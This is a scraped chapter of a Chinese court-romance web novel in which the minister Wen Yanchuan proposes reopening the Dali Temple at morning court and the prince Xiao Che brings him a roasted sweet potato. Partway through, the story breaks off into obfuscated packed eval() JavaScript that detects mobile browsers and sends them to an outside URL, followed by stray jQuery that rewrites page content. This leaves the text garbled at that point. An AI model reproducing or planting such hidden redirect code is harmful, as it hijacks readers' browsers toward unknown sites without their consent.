27. 第 27 章

作品:《俯首称臣

    寅时五刻,温言川懵懵登登从床上坐起来,眼睛似睁非睁,摸黑“悉悉索索”地穿衣服。一副人醒魂儿没醒的样子。


    此“症状”并非梦游,而是去上早朝。


    早朝卯时开始,文武百官需提前在正阳门等候,按官品站好。听到鞭声后,鱼贯进入明德殿,奏事议政。


    每次早朝温言川想辞官的心都会达到顶峰。


    无他,早起要命。


    捯饬利索后,温言川顶着星星上了马车,趁路上的功夫继续睡。再有意识时是被车夫叫醒的。


    车夫是位五旬老汉,可能是上了年纪觉少,此刻精神抖擞:“公子快清醒清醒,准备上朝了。”


    温言川含糊不清地“唔”了声:“知道了。”


    江之眠正琢磨待会早朝上奏点什么,瞧见温言川从马车上下来,连忙颔首:“温大人。”


    温言川回礼:“江大人。”


    有道是官大一级压死人。温言川作为朝堂上唯一的正一品,又身负理政之权,其他人见了总要行个礼的。可在场的人除了江之眠外,竟再无一人搭理。


    温言川并未将这种轻视放在心上,挑了个地方站好。


    恰在这时,一辆极为气派的马车停在正阳门前。只见刚刚那些眼睛长在头顶上的人像孩子见到娘般争先恐后涌了过去。


    温言川瞧了眼站在原地未动的江之眠:“江大人不去吗?”


    江之眠抄着手,慢悠悠道:“不去。太挤了。”


    庞景前呼后拥地下了马车,本想来个最后出场彰显一下地位,没想到竟有比他还晚的。


    瞧着身穿朝服缓缓走过来的人,温言川面露惊讶:“王爷怎么也来早朝了?”


    萧彻:“提前适应适应。”


    “那王爷可要做好准备,早朝日日如此。”温言川作为被早朝“荼毒”多年的过来人,认真道。


    萧彻显然准备充分,连吃的都带了。温言川瞧着他手中的油纸包,心下好奇里头包的是什么。


    当看到是烤地瓜时,温言川眼睛都亮了:“是给我带的吗?”


    萧彻没应声,一点一点剥掉皮,只留下面一圈方便捏着。


    而后递给温言川,语气随意:“买了两个没吃完,这个给你吧。”


    油纸包明显没被打开过,就是包了一个地瓜。如果吃完一个又包了一个,为什么要包第二个?


    就是特意给他带的。


    温言川并不戳破,喜笑颜开地接过地瓜:“谢谢王爷。”


    一抬眼,瞧见周围的人都在看他。温言川拿着地瓜躲到萧彻身后,小口小口吃起来。


    “王爷带的地瓜真甜。”


    萧彻勾了勾唇,将人挡的更严实。


    一个热乎的烤地瓜下肚,温言川整个人都精神了不少,躲在萧彻身后低声道:“我准备在早朝上提重启大理寺一事。王爷觉得此事能成吗?”


    “能。但不在今天。”


    温言川无声笑了。这种心照不宣的感觉当真不错。


    卯时一到,响亮的鞭声破空而来。


    文武百官进入明德殿,齐声高呵:“吾皇万岁万岁万万岁!”


    李随安坐在龙椅上,手心紧张出了汗,镇定道:“众爱卿平身!”


    新帝登基后的第一个早朝,简直可以用一片和谐来形容。全是喜事。喜到都能放鞭炮来庆祝了。


    温言川站在前面听着,等其他人都说完了才开口:“启奏皇上,大理寺消寂多年,微臣以为是时候重新启用了。”


    听到这话,崔良玉第一个跳出来反对:“微臣以为不妥。当年的白家冤案人尽皆知,大理寺威信尽失,没有启用的必要。”


    温言川:“崔大人口中的“当年”已是二十年前,涉案一干人等早已尘归尘土归土,没必要裹足不前。如今刑部办案效率低下,想必是心余力绌。重启大理寺与刑部相辅相成。何乐而不为?”


    崔良玉一听是冲自己来的,登时急眼了:“温大人可不要刚离开刑部就翻脸不认人!”


    “我到刑部三年零四个月,期间经手的所有案子可以随便复核。”温言川从容不迫,轻飘飘的质问如千斤石落到崔良玉头上,“请问崔大人敢吗?”


    崔良玉宛如被掐住脖子的鹌鹑,登时蔫了。心中大叫完了完了!新帝上任三把火,第一把竟烧到了他身上。他这是什么命啊!


    李随安顿时懂了温言川的用意,开口道:“既如此便查查吧,也省得冤枉了崔大人。”


    温言川面上不显,心里却很开心:只要脑子够聪明,其他的可以慢慢教。早晚会成长成合格的帝王的。


    看到温言川眼中的欣慰,李随安内心大喜,也没那么紧张了,转了转脑子,继续道:“瓜田李下,此事不能交由刑部来查。庞大人觉得谁合适?”


    庞景眼皮都没抬一下,不痛不痒道:“微臣觉得孟大人合适。”


    户部侍郎孟青立即站出来:“微臣愿为皇上效犬马之劳。”


    李随安看了眼孟青,默默记下:“此事便交由孟大人。只是一人之力难免薄弱,不如温大人再举荐个人。”


    温言川鹦鹉学舌:“微臣觉得西南王合适。”


    萧彻配合着温言川学孟青说话:“微臣也愿为皇上效犬马之劳。”


    见他弯起唇角,不由心情大好。


    听到这话的崔良玉又差点一屁股坐到地上,哆哆嗦嗦瞄了眼前头的萧彻,手中的笏板都拿不稳了。


    自己只是刑部尚书,萧彻可以活阎王啊!上次将他按在桌上刮了胡子,这次指不定就是要命了!


    李随安满意地“嗯”了声:“就这么办吧。限一月内审查清楚。”


    下了早朝,所有人往正阳门赶去。崔良玉小跑着撵上庞景,六神无主:“庞大人,这……这可怎么办啊?!”


    庞景睨了他一眼:“不做亏心事,不怕鬼叫门。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379671|150517||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>崔良玉:“…………”


    你是没做亏心事!你逼着我做亏心事!死不要脸的!


    “庞大人教训的是。”崔良玉一脸谄媚,“在下就是担心大理寺一旦重启,刑部就没法为大人效力了。”


    大理寺重启,刑部必定会被架空,形同虚设。


    庞景冷哼一声:“我还怕拿不下一个大理寺吗?”说完大步走了。


    崔良玉站在原地,心里问候了庞景的祖宗十八代!


    这明显是要将他当成弃子扔了!若真查下去,他这顶乌纱帽怕是保不住了,下半辈子只能回老家种地!


    作为一颗合格的墙头草,崔良玉已经开始谋划别的出路了。


    温言川和萧彻落在最后,并肩而行。


    温言川瞧着前面的人:“崔良玉此番怕是要被吓破胆了。”


    萧彻不禁疑惑:“上早朝都是这般唇枪舌战?”


    “是啊。”温言川一脸认真道,“总不能打起来,有失体统。君子动口不动手嘛。”


    经过崔良玉身边时,崔良玉拦在温言川跟前,端着一张笑脸:“在下有要事同温大人商量,不知温大人可否方便?”


    “我们要一同去吃早饭。”萧彻语气不冷不热,“你说方不方便?”


    崔良玉呐呐道:“想必是不太方便的。”


    温言川轻咳一声:“崔大人不如先去刑部当值,结束后再到我府上一叙。”


    “温大人言之有理!在下告辞。”得了答复,崔良玉脚底抹油溜了。


    刚走出没几步,方德全又过来了,笑盈盈道:“皇上请温大人一起用早膳。”


    温言川:“……”


    他何时这么抢手了。


    这次萧彻没说话,抱肩站在旁边,满脸都写着“你敢答应试试看”。


    明明是特意给他带的地瓜却嘴硬不承认。温言川心思动了动,故意道:“既是皇命,我……啊!”


    温言川被萧彻扛了起来,趁没走远忙对方德全道:“君臣有别,我不去了!劳公公美言!”


    在文武百官的注视下,萧彻将温言川一路扛回马车。坐在车里一语不发。


    温言川盯着萧彻阴沉的脸:“那个地瓜是不是王爷特意给我带的?”


    萧彻愣了下,半晌才道:“都吃了还问那么多。”


    “是不是?”


    “……”


    “是不是?”


    “……”


    “是不是嘛?”


    萧彻别扭着吐出一个字:“是!”


    “那明早王爷还给我带行不行?”


    怕他继续喋喋不休,萧彻干脆地“嗯”了声。


    “好了。”温言川理了理衣摆,语气轻快,“现在可以去吃饭了。”


    他不承认,温言川偏要叫他承认。


    看似温文尔雅的人,骨子里也有不许被忤逆的掌控欲。


    偶尔发作,不达目的不罢休。